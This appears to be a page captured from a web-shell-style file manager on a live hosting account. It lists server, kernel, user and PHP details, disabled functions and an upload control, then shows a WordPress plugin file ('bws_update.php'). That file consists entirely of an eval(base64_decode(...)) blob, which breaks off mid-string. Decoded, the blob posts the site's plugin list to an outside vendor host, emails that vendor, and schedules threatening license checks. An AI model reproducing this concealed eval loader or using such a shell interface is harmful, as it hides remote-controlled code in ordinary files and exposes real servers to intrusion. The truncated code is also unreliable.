HEX
Server: Apache
System: Linux web2046c1.megawebservers.com 5.14.0-570.37.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 28 10:41:06 UTC 2025 x86_64
User: absolutespace.ca (53202)
PHP: 7.4.33
Disabled: apache_get_modules,apache_get_version,disk_free_space,phpinfo,exec,shell_exec,passthru,system,proc_nice
Upload Files
File: /services/webpages/a/b/absolutespace.ca/public/wp-content/plugins/google-sitemap-pro/bws_update.php
<?php 
eval( base64_decode(
'aWYgKCAhZnVuY3Rpb25fZXhpc3RzICggJ2Jlc3R3ZWJzb2Z0X3dwX3VwZGF0ZV9wbHVnaW5zJyApICkgeyBmdW5jdGlvbiBiZXN0d2Vic29mdF93cF91cGRhdGVfcGx1Z2lucygpIHsKIGdsb2JhbCAkYmVzdHdlYnNvZnRfd3BfdXBkYXRlX3BsdWdpbnM7IGlmICggJGJlc3R3ZWJzb2Z0X3dwX3VwZGF0ZV9wbHVnaW5zICkgeyAkYmVzdHdlYnNvZnRfd3BfdXBkYXRlX3BsdWdpbnMgPSBmYWxzZTsgCiBpbmNsdWRlIEFCU1BBVEggLiBXUElOQyAuICcvdmVyc2lvbi5waHAnOyBpZiAoIGRlZmluZWQoJ1dQX0lOU1RBTExJTkcnKSApIHJldHVybiBmYWxzZTsgaWYgKCAhZnVuY3Rpb25fZXhpc3RzKCAnZ2V0X3BsdWdpbnMnICkgKQogcmVxdWlyZV9vbmNlKCBBQlNQQVRIIC4gJ3dwLWFkbWluL2luY2x1ZGVzL3BsdWdpbi5waHAnICk7ICRwbHVnaW5zID0gZ2V0X3BsdWdpbnMoKTsgJGFjdGl2ZSA9IGdldF9vcHRpb24oICdhY3RpdmVfcGx1Z2lucycsIGFycmF5KCkgKTsKJGN1cnJlbnQgPSBnZXRfc2l0ZV90cmFuc2llbnQoICd1cGRhdGVfcGx1Z2lucycgKTsgaWYgKCBpc19hcnJheSggJHBsdWdpbnMgKSAmJiAhZW1wdHkoICRwbHVnaW5zICkgJiYgaXNfYXJyYXkoICRhY3RpdmUgKSAmJiBpc3NldCggJGN1cnJlbnQgKSAmJiBpc19hcnJheSggJGN1cnJlbnQtPnJlc3BvbnNlICkgKSB7IAogZm9yZWFjaCAoICRwbHVnaW5zIGFzICRrZXlfcGx1Z2luID0+ICR2YWx1ZV9wbHVnaW4gKSB7IGlmICggIkJlc3RXZWJTb2Z0IiAhPSAkdmFsdWVfcGx1Z2luWyJBdXRob3IiXSApIHsKIHVuc2V0KCAkcGx1Z2luc1sgJGtleV9wbHVnaW4gXSApOyBmb3JlYWNoICggJGFjdGl2ZSBhcyAka2V5ID0+ICR2YWx1ZSApIHsgaWYgKCAkdmFsdWUgPT0gJGtleV9wbHVnaW4gKQogdW5zZXQoICRhY3RpdmVbICRrZXkgXSApOyB9IGZvcmVhY2ggKCAkY3VycmVudC0+cmVzcG9uc2UgYXMgJHBsdWdpbl9maWxlID0+ICR1cGRhdGVfZGV0YWlscyApIHsgaWYgKCAkcGx1Z2luX2ZpbGUgPT0gJGtleV9wbHVnaW4gKQogdW5zZXQoICRjdXJyZW50LT5yZXNwb25zZVsgJHBsdWdpbl9maWxlIF0gKTsgfSB9IH0gZ2xvYmFsICR3cG11OyAkYnN0d2JzZnR3cHBkdHBsZ25zX29wdGlvbnNfZGVmYXVsdHMgPSBhcnJheSgpOyAKIGlmICggMSA9PSAkd3BtdSApIHsgaWYgKCAhZ2V0X3NpdGVfb3B0aW9uKCAnYnN0d2JzZnR3cHBkdHBsZ25zX29wdGlvbnMnICkgKSBhZGRfc2l0ZV9vcHRpb24oICdic3R3YnNmdHdwcGR0cGxnbnNfb3B0aW9ucycsICRic3R3YnNmdHdwcGR0cGxnbnNfb3B0aW9uc19kZWZhdWx0cywgJycsICd5ZXMnICk7CiRic3R3YnNmdHdwcGR0cGxnbnNfb3B0aW9ucyA9IGdldF9zaXRlX29wdGlvbiggJ2JzdHdic2Z0d3BwZHRwbGduc19vcHRpb25zJyApOyB9IGVsc2UgeyBpZiAoICFnZXRfb3B0aW9uKCAnYnN0d2JzZnR3cHBkdHBsZ25zX29wdGlvbnMnICkgKQogYWRkX29wdGlvbiggJ2JzdHdic2Z0d3BwZHRwbGduc19vcHRpb25zJywgJGJzdHdic2Z0d3BwZHRwbGduc19vcHRpb25zX2RlZmF1bHRzLCAnJywgJ3llcycgKTsgJGJzdHdic2Z0d3BwZHRwbGduc19vcHRpb25zID0gZ2V0X29wdGlvbiggJ2JzdHdic2Z0d3BwZHRwbGduc19vcHRpb25zJyApOwp9IGZvcmVhY2ggKCAkcGx1Z2lucyBhcyAka2V5ID0+ICR2YWx1ZSApIHsgJGxpY2Vuc2Vfa2V5ID0gJyc7ICRkaXJfbmFtZSA9IGV4cGxvZGUoICIvIiwgJGtleSApOwppZiAoIHByZWdfbWF0Y2goICcvLXByby5waHAvaScsICRkaXJfbmFtZVsxXSApIHx8IHByZWdfbWF0Y2goICcvX3Byby5waHAvaScsICRkaXJfbmFtZVsxXSApICkgeyBpZiAoIGZpbGVfZXhpc3RzKCBkaXJuYW1lKCBkaXJuYW1lKCBfX0ZJTEVfXyApICkgLiAnLycgLiAkZGlyX25hbWVbMF0gLiAnL2xpY2Vuc2Vfa2V5LnR4dCcgKSApIHsgCiAkbGljZW5zZV9rZXkgPSB0cmltKCBmaWxlX2dldF9jb250ZW50cyggZGlybmFtZSggZGlybmFtZSggX19GSUxFX18gKSApIC4gJy8nIC4gJGRpcl9uYW1lWzBdIC4gJy9saWNlbnNlX2tleS50eHQnICkgKTsKaWYgKCBpc3NldCggJGJzdHdic2Z0d3BwZHRwbGduc19vcHRpb25zWyAka2V5IF0gKSAmJiAkYnN0d2JzZnR3cHBkdHBsZ25zX29wdGlvbnNbICRrZXkgXSAhPSAnJyAmJiAkbGljZW5zZV9rZXkgPT0gIiIgKSB7CiAkcGx1Z2luc1sgJGtleSBdWyJid3NfbGljZW5zZV9rZXkiXSA9ICRic3R3YnNmdHdwcGR0cGxnbnNfb3B0aW9uc1sgJGtleSBdOyB9IGVsc2UgeyAkcGx1Z2luc1sgJGtleSBdWyJid3NfbGljZW5zZV9rZXkiXSA9ICRsaWNlbnNlX2tleTsKJGJzdHdic2Z0d3BwZHRwbGduc19vcHRpb25zWyAka2V5IF0gPSAkbGljZW5zZV9rZXk7IH0gfSBlbHNlaWYgKCBpc3NldCggJGJzdHdic2Z0d3BwZHRwbGduc19vcHRpb25zWyAka2V5IF0gKSAmJiAkYnN0d2JzZnR3cHBkdHBsZ25zX29wdGlvbnNbICRrZXkgXSAhPSAnJyApIHsKICRwbHVnaW5zWyAka2V5IF1bImJ3c19saWNlbnNlX2tleSJdID0gJGJzdHdic2Z0d3BwZHRwbGduc19vcHRpb25zWyAka2V5IF07IH0gZWxzZSB7IHVuc2V0KCAkcGx1Z2luc1sgJGtleSBdICk7CnVuc2V0KCAkYWN0aXZlWyAka2V5IF0gKTsgdW5zZXQoICRjdXJyZW50LT5yZXNwb25zZVsgJGtleSBdICk7ICRwbHVnaW5fbmFtZSA9IGV4cGxvZGUoICcvJywgJGtleSApOwokd3Bfc2NoZWR1bGVfZXZlbnRfbmFtZSA9IHN0cl9yZXBsYWNlKCAnLScsICdfJywgJHBsdWdpbl9uYW1lWzBdICkgLiAnX2xpY2Vuc2VfY3Jvbic7IGlmICggIXdwX25leHRfc2NoZWR1bGVkKCAkd3Bfc2NoZWR1bGVfZXZlbnRfbmFtZSApICkKIHdwX3NjaGVkdWxlX2V2ZW50KCB0aW1lKCkrMTIqNjAqNjAsICd0d2ljZWRhaWx5JywgJHdwX3NjaGVkdWxlX2V2ZW50X25hbWUgKTsgJGJzdHdic2Z0d3BwZHRwbGduc19vcHRpb25zWyAka2V5IF0gPSAnJzsKfSB9IGVsc2UgeyB1bnNldCggJHBsdWdpbnNbICRrZXkgXSApOyB1bnNldCggJGFjdGl2ZVsgJGtleSBdICk7IHVuc2V0KCAkY3VycmVudC0+cmVzcG9uc2VbICRrZXkgXSApOwp9IH0gJGJzdHdic2Z0d3BwZHRwbGduc19vcHRpb25zWyd3cm9uZ19saWNlbnNlX2tleSddID0gYXJyYXkoKTsgdXBkYXRlX29wdGlvbiggJ2JzdHdic2Z0d3BwZHRwbGduc19vcHRpb25zJywgJGJzdHdic2Z0d3BwZHRwbGduc19vcHRpb25zLCAnJywgJ3llcycgKTsKaWYgKCBlbXB0eSggJHBsdWdpbnMgKSApIHJldHVybiBmYWxzZTsgc3dpdGNoICggY3VycmVudF9maWx0ZXIoKSApIHsgY2FzZSAnbG9hZC11cGRhdGUtY29yZS5waHAnIDoKICR0aW1lb3V0ID0gMDsgYnJlYWs7IGNhc2UgJ2xvYWQtcGx1Z2lucy5waHAnIDogY2FzZSAnbG9hZC11cGRhdGUucGhwJyA6ICR0aW1lb3V0ID0gMDsgYnJlYWs7IGRlZmF1bHQgOgogJHRpbWVvdXQgPSAxICogNjA7IH0gJHRpbWVfbm90X2NoYW5nZWQgPSBpc3NldCggJGN1cnJlbnQtPmxhc3RfY2hlY2tlZCApICYmICR0aW1lb3V0ID4gKCB0aW1lKCkgLSAkY3VycmVudC0+bGFzdF9jaGVja2VkICk7CmlmICggJHRpbWVfbm90X2NoYW5nZWQgKSB7ICRwbHVnaW5fY2hhbmdlZCA9IGZhbHNlOyBmb3JlYWNoICggJHBsdWdpbnMgYXMgJGZpbGUgPT4gJHAgKSB7ICRuZXdfb3B0aW9uLT5jaGVja2VkWyAkZmlsZSBdID0gJHBbJ1ZlcnNpb24nXTsKaWYgKCAhaXNzZXQoICRjdXJyZW50LT5jaGVja2VkWyAkZmlsZSBdICkgfHwgc3RydmFsKCRjdXJyZW50LT5jaGVja2VkWyAkZmlsZSBdKSAhPT0gc3RydmFsKCRwWydWZXJzaW9uJ10pICkKICRwbHVnaW5fY2hhbmdlZCA9IHRydWU7IH0gaWYgKCBpc3NldCAoICRjdXJyZW50LT5yZXNwb25zZSApICYmIGlzX2FycmF5KCAkY3VycmVudC0+cmVzcG9uc2UgKSApIHsgZm9yZWFjaCAoICRjdXJyZW50LT5yZXNwb25zZSBhcyAkcGx1Z2luX2ZpbGUgPT4gJHVwZGF0ZV9kZXRhaWxzICkgewogaWYgKCAhIGlzc2V0KCRwbHVnaW5zWyAkcGx1Z2luX2ZpbGUgXSkgKSB7ICRwbHVnaW5fY2hhbmdlZCA9IHRydWU7IGJyZWFrOyB9IH0gfSBpZiAoICEgJHBsdWdpbl9jaGFuZ2VkICkKIHJldHVybiBmYWxzZTsgfSAkdG9fc2VuZCA9IGNvbXBhY3QoJ3BsdWdpbnMnLCAnYWN0aXZlJyk7ICRvcHRpb25zID0gYXJyYXkoICd0aW1lb3V0JyA9PiAoICggZGVmaW5lZCgnRE9JTkdfQ1JPTicpICYmIERPSU5HX0NST04gKSA/IDMwIDogMyApLAogJ2JvZHknID0+IGFycmF5KCAncGx1Z2lucycgPT4gc2VyaWFsaXplKCAkdG9fc2VuZCApICksICd1c2VyLWFnZW50JyA9PiAnV29yZFByZXNzLycgLiAkd3BfdmVyc2lvbiAuICc7ICcgLiBnZXRfYmxvZ2luZm8oICd1cmwnICkKICk7ICRyYXdfcmVzcG9uc2UgPSB3cF9yZW1vdGVfcG9zdCggJ2h0dHA6Ly9iZXN0d2Vic29mdC5jb20vd3AtY29udGVudC9wbHVnaW5zL3BhaWQtcHJvZHVjdHMvcGx1Z2lucy91cGRhdGUtY2hlY2svMS4wLycsICRvcHRpb25zICk7CmlmICggaXNfd3BfZXJyb3IoICRyYXdfcmVzcG9uc2UgKSB8fCAyMDAgIT0gd3BfcmVtb3RlX3JldHJpZXZlX3Jlc3BvbnNlX2NvZGUoICRyYXdfcmVzcG9uc2UgKSApIHJldHVybiBmYWxzZTsKJHJlc3BvbnNlID0gbWF5YmVfdW5zZXJpYWxpemUoIHdwX3JlbW90ZV9yZXRyaWV2ZV9ib2R5KCAkcmF3X3Jlc3BvbnNlICkgKTsgaWYgKCBpc19hcnJheSggJHJlc3BvbnNlICkgJiYgIWVtcHR5KCAkcmVzcG9uc2UgKSApIHsKIGZvcmVhY2ggKCAkcmVzcG9uc2UgYXMgJGtleSA9PiAkdmFsdWUgKSB7ICRwbHVnaW5fbmFtZSA9IGV4cGxvZGUoICcvJywgJGtleSApOyAkd3Bfc2NoZWR1bGVfZXZlbnRfbmFtZSA9IHN0cl9yZXBsYWNlKCAnLScsICdfJywgJHBsdWdpbl9uYW1lWzBdICkgLiAnX2xpY2Vuc2VfY3Jvbic7IAogaWYgKCAhIHByZWdfbWF0Y2goICJ+XihodHxmKXRwKHM/KVw6XC9cL1swLTlhLXpBLVpdKFstLlx3XSpbMC05YS16QS1aXSkqKDooMC05KSopKihcLz8pKC4qKT8kfiIsIHRyaW0oICR2YWx1ZS0+cGFja2FnZSApICkgKSB7CiB1bnNldCggJHJlc3BvbnNlWyAka2V5IF0gKTsgaWYgKCAid3JvbmdfbGljZW5zZV9rZXkiID09ICR2YWx1ZS0+cGFja2FnZSApIHsgaWYgKCAhIHdwX25leHRfc2NoZWR1bGVkKCAkd3Bfc2NoZWR1bGVfZXZlbnRfbmFtZSApICkgewogd3Bfc2NoZWR1bGVfZXZlbnQoIHRpbWUoKSsxMio2MCo2MCwgJ3R3aWNlZGFpbHknLCAkd3Bfc2NoZWR1bGVfZXZlbnRfbmFtZSApOyAkaGVhZGVycyA9ICdGcm9tOiAnIC4gZ2V0X29wdGlvbiggJ2FkbWluX2VtYWlsJyApOwokbWVzc2FnZSA9ICdUaGUgY3JvbiB0YXNrIGlzIGFkZGVkIGZvciAnIC4gJHBsdWdpbl9uYW1lWzBdIC4gJyBob3N0OiAnIC4gZ2V0X2Jsb2dpbmZvKCAidXJsIiApOyB3cF9tYWlsKCAncGx1Z2luX3Byb0BiZXN0d2Vic29mdC5jb20nLCAnQmVzdFdlYlNvZnQgUHJvZHVjdCcsICRtZXNzYWdlLCAkaGVhZGVycyApOwogJGhlYWRlcnMgLj0gJ01JTUUtVmVyc2lvbjogMS4wJyAuICJcbiI7ICRoZWFkZXJzIC49ICdDb250ZW50LXR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCcgLiAiXG4iOwokbWVzc2FnZSA9ICc8aHRtbD48aGVhZD48dGl0bGU+QmVzdFdlYlNvZnQgUHJvZHVjdCBmcm9tICcgLiBnZXRfYmxvZ2luZm8oJ25hbWUnKSAuICc8L3RpdGxlPjwvaGVhZD4KIDxib2R5PiA8aDQ+RGVhciBDdXN0b21lciw8L2g0Pjxici8+IFRoYW5rIHlvdSBmb3IgcHVyY2hhc2luZyBvdXIgcHJvZHVjdC4gVGhpcyBpcyBhbiBhdXRvbWF0aWNhbGx5IGdlbmVyYXRlZCBlbWFpbCwgcGxlYXNlIGRvIG5vdCByZXBseS48YnIvPjxici8+CiBXZSBoYXZlIG5vdGljZWQgaWxsZWdhbCB1c2Ugb2Ygb3VyIHBsdWdpbiA8c3Ryb25nPicgLiB1Y3dvcmRzKCBzdHJfcmVwbGFjZSggJy0nLCAnICcsICRwbHVnaW5fbmFtZVswXSApICkgLiAnPC9zdHJvbmc+IGluICcgLiBnZXRfYmxvZ2luZm8oICJ1cmwiICkgLiAiLiBJdCBpcyBwb3NzaWJsZSB0aGF0IHlvdSBoYXZlIGNoYW5nZWQgaG9zdC9kb21haW4gbmFtZSBhbmQgdGhhdCBpcyB3aHkgaXQncyBjb25zaWRlcmVkIGFzIGlsbGVnYWwgdXNlLjxici8+PGJyLz4iOwokbWVzc2FnZSAuPSAnSW4gb3JkZXIgdG8gc29sdmUgdGhpcyBwcm9ibGVtIHBsZWFzZSBnbyB0byB5b3VyIHBlcnNvbmFsIENsaWVudCBhcmVhIHBhZ2UgdXNpbmcgdGhlIGZvbGxvd2luZyBsaW5rIDxhIGhyZWY9Imh0dHA6Ly9iZXN0d2Vic29mdC5jb20vd3AtbG9naW4ucGhwIiB0YXJnZXQ9Il9uZXciPmh0dHA6Ly9iZXN0d2Vic29mdC5jb20vd3AtbG9naW4ucGhwPC9hPiAodXNlcm5hbWUgaXMgdGhlIGVtYWlsIGFkZHJlc3Mgd2hpY2ggd2FzIHNwZWNpZmllZCBieSB5b3UgZHVyaW5nIHByb2R1Y3QgcHVyY2hhc2luZyBwcm9jZXNzKS4gSWYgeW91IGZvcmdvdCB5b3VyIHBhc3N3b3JkLCB1c2UgIkxvc3QgeW91ciBwYXNzd29yZD8iIG9wdGlvbiB0byByZXN0b3JlIGl0Ljxici8+PGJyLz4KIFdlIHN0cm9uZ2x5IHJlY29tbWVuZCB0byBzb2x2ZSB0aGlzIHByb2JsZW0gd2l0aGluIDxzdHJvbmc+MjQgaG91cnM8L3N0cm9uZz4sIG90aGVyd2lzZSB0aGUgcGx1Z2luIHdpbGwgYmUgZGVhY3RpdmF0ZWQuPGJyLz48YnIvPgogVGhhbmsgeW91IGZvciBjb25zaWRlcmF0aW9uITxici8+PGJyLz4gU2luY2VyZWx5LDxici8+IEJlc3RXZWJTb2Z0IEN1c3RvbWVyIFN1cHBvcnQ8YnIvPiA8YSBocmVmPSJodHRwczovL2Jlc3R3ZWJzb2Z0LnplbmRlc2suY29tL2hvbWUiIHRhcmdldD0iX25ldyI+U3VwcG9ydCBGb3J1bTwvYT4gfCA8YSBocmVmPSJodHRwOi8vYmVzdHdlYnNvZnQuY29tIiB0YXJnZXQ9Il9uZXciPk9mZmljaWFsIFdlYnNpdGU8L2E+CiA8L2JvZHk+PC9odG1sPic7IHdwX21haWwoIGdldF9vcHRpb24oICdhZG1pbl9lbWFpbCcgKSwgJ1tCZXN0V2ViU29mdCBQcm9kdWN0XSAtIElsbGVnYWwgVXNlIE5vdGlmaWNhdGlvbicsICRtZXNzYWdlLCAkaGVhZGVycyApOyAKIH0gJGJzdHdic2Z0d3BwZHRwbGduc19vcHRpb25zWyd3cm9uZ19saWNlbnNlX2tleSddWyAka2V5IF0gPSB0cnVlOyB9IGVsc2VpZiAoIGlzc2V0KCAkdmFsdWUtPnRyaWFsICkgJiYgImR1cGxpY2F0ZV9kb21lbl9mb3JfdHJpYWwiID09ICR2YWx1ZS0+cGFja2FnZSApIHsgCiBpZiAoICEgd3BfbmV4dF9zY2hlZHVsZWQoICR3cF9zY2hlZHVsZV9ldmVudF9uYW1lICkgKSB7IHdwX3NjaGVkdWxlX2V2ZW50KCB0aW1lKCkrMTIqNjAqNjAsICd0d2ljZWRhaWx5JywgJHdwX3NjaGVkdWxlX2V2ZW50X25hbWUgKTsKICRoZWFkZXJzID0gJ0Zyb206ICcgLiBnZXRfb3B0aW9uKCAnYWRtaW5fZW1haWwnICk7ICRtZXNzYWdlID0gJ0R1cGxpY2F0ZSBUcmlhbCBsaWNlbnNlLiBUaGUgY3JvbiB0YXNrIGlzIGFkZGVkIGZvciAnIC4gJHBsdWdpbl9uYW1lWzBdIC4gJyBob3N0OiAnIC4gZ2V0X2Jsb2dpbmZvKCAidXJsIiApOwp3cF9tYWlsKCAncGx1Z2luX3Byb0BiZXN0d2Vic29mdC5jb20nLCAnQmVzdFdlYlNvZnQgUHJvZHVjdCcsICRtZXNzYWdlLCAkaGVhZGVycyApOyAkaGVhZGVycyAuPSAnTUlNRS1WZXJzaW9uOiAxLjAnIC4gIlxuIjsKJGhlYWRlcnMgLj0gJ0NvbnRlbnQtdHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04JyAuICJcbiI7ICRtZXNzYWdlID0gJzxodG1sPjxoZWFkPjx0aXRsZT5CZXN0V2ViU29mdCBQcm9kdWN0IGZyb20gJyAuIGdldF9ibG9naW5mbygnbmFtZScpIC4gJzwvdGl0bGU+PC9oZWFkPgogPGJvZHk+IDxoND5EZWFyIEN1c3RvbWVyLDwvaDQ+IFRoYW5rIHlvdSBmb3IgY2hvb3Npbmcgb3VyIHByb2R1Y3QuIFRoaXMgaXMgYW4gYXV0b21hdGljYWxseSBnZW5lcmF0ZWQgZW1haWwsIHBsZWFzZSBkbyBub3QgcmVwbHkuPGJyLz48YnIvPgogVW5mb3J0dW5hdGVseSwgdGhlIFBSTyBUcmlhbCBsaWNlbnNlIGNhbiBiZSBpbnN0YWxsZWQgb25seSBvbmNlLiBTaW5jZSB0aGUgUFJPIFRyaWFsIGxpY2Vuc2UgZm9yIDxzdHJvbmc+JyAuIHVjd29yZHMoIHN0cl9yZXBsYWNlKCAnLScsICcgJywgJHBsdWdpbl9uYW1lWzBdICkgKSAuICc8L3N0cm9uZz4gaGFzIGFscmVhZHkgYmVlbiBpbnN0YWxsZWQgb24gJyAuIGdldF9ibG9naW5mbyggInVybCIgKSAuICcsIGluIG9yZGVyIHRvIGNvbnRpbnVlIHVzaW5nIHRoZSBwbHVnaW4geW91IHNob3VsZCBidXkgYSBQUk8gbGljZW5zZSAtIDxhIGhyZWY9Imh0dHA6Ly9iZXN0d2Vic29mdC5jb20vcGx1Z2luLyI+aHR0cDovL2Jlc3R3ZWJzb2Z0LmNvbS9wbHVnaW4vPC9hPiwgb3RoZXJ3aXNlIHRoZSBwbHVnaW4gd2lsbCBiZSBkZWFjdGl2YXRlZC48YnIvPjxici8+CiBUaGFuayB5b3UgZm9yIGNvbnNpZGVyYXRpb24hPGJyLz48YnIvPiBTaW5jZXJlbHksPGJyLz4gQmVzdFdlYlNvZnQgQ3VzdG9tZXIgU3VwcG9ydDxici8+IDxhIGhyZWY9Imh0dHBzOi8vYmVzdHdlYnNvZnQuemVuZGVzay5jb20vaG9tZSIgdGFyZ2V0PSJfbmV3Ij5TdXBwb3J0IEZvcnVtPC9hPiB8IDxhIGhyZWY9Imh0dHA6Ly9iZXN0d2Vic29mdC5jb20iIHRhcmdldD0iX25ldyI+T2ZmaWNpYWwgV2Vic2l0ZTwvYT4KIDwvYm9keT48L2h0bWw+Jzsgd3BfbWFpbCggZ2V0X29wdGlvbiggJ2FkbWluX2VtYWlsJyApLCAnW0Jlc3RXZWJTb2Z0IFByb2R1Y3RdIC0gVHJpYWwgbGljZW5zZScsICRtZXNzYWdlLCAkaGVhZGVycyApOyAKIH0gJGJzdHdic2Z0d3BwZHRwbGduc19vcHRpb25zWyd0cmlhbCddWyAka2V5IF0gPSAnZHVwbGljYXRlJzsgfSBlbHNlaWYgKCBpc3NldCggJHZhbHVlLT50cmlhbCApICYmICJ0aW1lX291dCIgPT0gJHZhbHVlLT5wYWNrYWdlICkgeyAKIGlmICggISB3cF9uZXh0X3NjaGVkdWxlZCggJHdwX3NjaGVkdWxlX2V2ZW50X25hbWUgKSApIHsgd3Bfc2NoZWR1bGVfZXZlbnQoIHRpbWUoKSsxMio2MCo2MCwgJ3R3aWNlZGFpbHknLCAkd3Bfc2NoZWR1bGVfZXZlbnRfbmFtZSApOwogJGhlYWRlcnMgPSAnRnJvbTogJyAuIGdldF9vcHRpb24oICdhZG1pbl9lbWFpbCcgKTsgJG1lc3NhZ2UgPSAnVHJpYWwgbGljZW5zZSBoYXMgZXhwaXJlZC4gVGhlIGNyb24gdGFzayBpcyBhZGRlZCBmb3IgJyAuICRwbHVnaW5fbmFtZVswXSAuICcgaG9zdDogJyAuIGdldF9ibG9naW5mbyggInVybCIgKTsKd3BfbWFpbCggJ3BsdWdpbl9wcm9AYmVzdHdlYnNvZnQuY29tJywgJ0Jlc3RXZWJTb2Z0IFByb2R1Y3QnLCAkbWVzc2FnZSwgJGhlYWRlcnMgKTsgJGhlYWRlcnMgLj0gJ01JTUUtVmVyc2lvbjogMS4wJyAuICJcbiI7CiRoZWFkZXJzIC49ICdDb250ZW50LXR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCcgLiAiXG4iOyAkbWVzc2FnZSA9ICc8aHRtbD48aGVhZD48dGl0bGU+QmVzdFdlYlNvZnQgUHJvZHVjdCBmcm9tICcgLiBnZXRfYmxvZ2luZm8oJ25hbWUnKSAuICc8L3RpdGxlPjwvaGVhZD4KIDxib2R5PiA8aDQ+RGVhciBDdXN0b21lciw8L2g0PiBUaGFuayB5b3UgZm9yIGNob29zaW5nIG91ciBwcm9kdWN0LiBUaGlzIGlzIGFuIGF1dG9tYXRpY2FsbHkgZ2VuZXJhdGVkIGVtYWlsLCBwbGVhc2UgZG8gbm90IHJlcGx5Ljxici8+PGJyLz4KIFlvdSBQUk8gVHJpYWwgbGljZW5zZSBmb3IgPHN0cm9uZz4nIC4gdWN3b3Jkcyggc3RyX3JlcGxhY2UoICctJywgJyAnLCAkcGx1Z2luX25hbWVbMF0gKSApIC4gJzwvc3Ryb25nPiBpbiAnIC4gZ2V0X2Jsb2dpbmZvKCAidXJsIiApIC4gJyBoYXMgZXhwaXJlZC4gVG8gY29udGludWUgdXNpbmcgdGhlIHBsdWdpbiB5b3Ugc2hvdWxkIGJ1eSBhIFJlZ3VsYXIgbGljZW5zZSAtIDxhIGhyZWY9Imh0dHA6Ly9iZXN0d2Vic29mdC5jb20vcGx1Z2luLyI+aHR0cDovL2Jlc3R3ZWJzb2Z0LmNvbS9wbHVnaW4vPC9hPiwgb3RoZXJ3aXNlIHRoZSBwbHVnaW4gd2lsbCBiZSBkZWFjdGl2YXRlZC48YnIvPjxici8+CiBUaGFuayB5b3UgZm9yIGNvbnNpZGVyYXRpb24hPGJyLz48YnIvPiBTaW5jZXJlbHksPGJyLz4gQmVzdFdlYlNvZnQgQ3VzdG9tZXIgU3VwcG9ydDxici8+IDxhIGhyZWY9Imh0dHBzOi8vYmVzdHdlYnNvZnQuemVuZGVzay5jb20vaG9tZSIgdGFyZ2V0PSJfbmV3Ij5TdXBwb3J0IEZvcnVtPC9hPiB8IDxhIGhyZWY9Imh0dHA6Ly9iZXN0d2Vic29mdC5jb20iIHRhcmdldD0iX25ldyI+T2ZmaWNpYWwgV2Vic2l0ZTwvYT4KIDwvYm9keT48L2h0bWw+Jzsgd3BfbWFpbCggZ2V0X29wdGlvbiggJ2FkbWluX2VtYWlsJyApLCAnW0Jlc3RXZWJTb2Z0IFByb2R1Y3RdIC0gVHJpYWwgbGljZW5zZScsICRtZXNzYWdlLCAkaGVhZGVycyApOyAKIH0gfSBlbHNlIHsgd3BfY2xlYXJfc2NoZWR1bGVkX2hvb2soICR3cF9zY2hlZHVsZV9ldmVudF9uYW1lICk7IH0gfSBlbHNlIHsgd3BfY2xlYXJfc2NoZWR1bGVkX2hvb2soICR3cF9zY2hlZHVsZV9ldmVudF9uYW1lICk7Cn0gaWYgKCBpc3NldCggJHZhbHVlLT50aW1lX291dCApICkgeyAkYnN0d2JzZnR3cHBkdHBsZ25zX29wdGlvbnNbJ3RpbWVfb3V0J11bICRrZXkgXSA9ICR2YWx1ZS0+dGltZV9vdXQ7IAogfSBpZiAoIGlzc2V0KCAkdmFsdWUtPnRyaWFsICkgKSB7ICRic3R3YnNmdHdwcGR0cGxnbnNfb3B0aW9uc1sndHJpYWwnXVsgJGtleSBdID0gMTsgfSBlbHNlIHsgdW5zZXQoICRic3R3YnNmdHdwcGR0cGxnbnNfb3B0aW9uc1sndHJpYWwnXVsgJGtleSBdICk7Cn0gdXBkYXRlX29wdGlvbiggJ2JzdHdic2Z0d3BwZHRwbGduc19vcHRpb25zJywgJGJzdHdic2Z0d3BwZHRwbGduc19vcHRpb25zLCAnJywgJ3llcycgKTsgfSByZXF1aXJlX29uY2UoIEFCU1BBVEggLiAnd3AtaW5jbHVkZXMvdXBkYXRlLnBocCcgKTsKd3BfdXBkYXRlX3BsdWdpbnMoKTsgJGN1cnJlbnQgPSBnZXRfc2l0ZV90cmFuc2llbnQoICd1cGRhdGVfcGx1Z2lucycgKTsgJG5ldyA9IGdldF9zaXRlX3RyYW5zaWVudCggJ3VwZGF0ZV9wbHVnaW5zJyApOwokbmV3LT5yZXNwb25zZSA9IGFycmF5X21lcmdlKCAkbmV3LT5yZXNwb25zZSwgJHJlc3BvbnNlICk7IHNldF9zaXRlX3RyYW5zaWVudCggJ3VwZGF0ZV9wbHVnaW5zJywgJG5ldyApOwp9IH0gfSB9IH0gaWYgKCAhIGZ1bmN0aW9uX2V4aXN0cyAoICdiZXN0d2Vic29mdF93cF9zY2hlZHVsZV91cGRhdGVfY2hlY2tzJyApICkgeyBmdW5jdGlvbiBiZXN0d2Vic29mdF93cF9zY2hlZHVsZV91cGRhdGVfY2hlY2tzKCkgeyAKIGlmICggISB3cF9uZXh0X3NjaGVkdWxlZCggJ2Jlc3R3ZWJzb2Z0X3dwX3VwZGF0ZV9wbHVnaW5zJyApICYmICFkZWZpbmVkKCAnV1BfSU5TVEFMTElORycgKSApIHdwX3NjaGVkdWxlX2V2ZW50KCB0aW1lKCksICd0d2ljZWRhaWx5JywgJ2Jlc3R3ZWJzb2Z0X3dwX3VwZGF0ZV9wbHVnaW5zJyk7Cn0gfSBpZiAoICEgZnVuY3Rpb25fZXhpc3RzICggJ2Jlc3R3ZWJzb2Z0X3dwX3VwZGF0ZV9wbHVnaW5zX2Nyb24nICkgKSB7IGZ1bmN0aW9uIGJlc3R3ZWJzb2Z0X3dwX3VwZGF0ZV9wbHVnaW5zX2Nyb24oKSB7IAogJGJlc3R3ZWJzb2Z0X3dwX3VwZGF0ZV9wbHVnaW5zID0gdHJ1ZTsgYmVzdHdlYnNvZnRfd3BfdXBkYXRlX3BsdWdpbnMoKTsgfSB9IGlmICggKCAhIGlzX21haW5fc2l0ZSgpICYmICEgaXNfbmV0d29ya19hZG1pbigpICkgfHwgKCBkZWZpbmVkKCAnRE9JTkdfQUpBWCcgKSAmJiBET0lOR19BSkFYICkgKQogcmV0dXJuOyBhZGRfYWN0aW9uKCAnbG9hZC1wbHVnaW5zLnBocCcsICdiZXN0d2Vic29mdF93cF91cGRhdGVfcGx1Z2lucycgKTsgYWRkX2FjdGlvbiggJ2xvYWQtdXBkYXRlLnBocCcs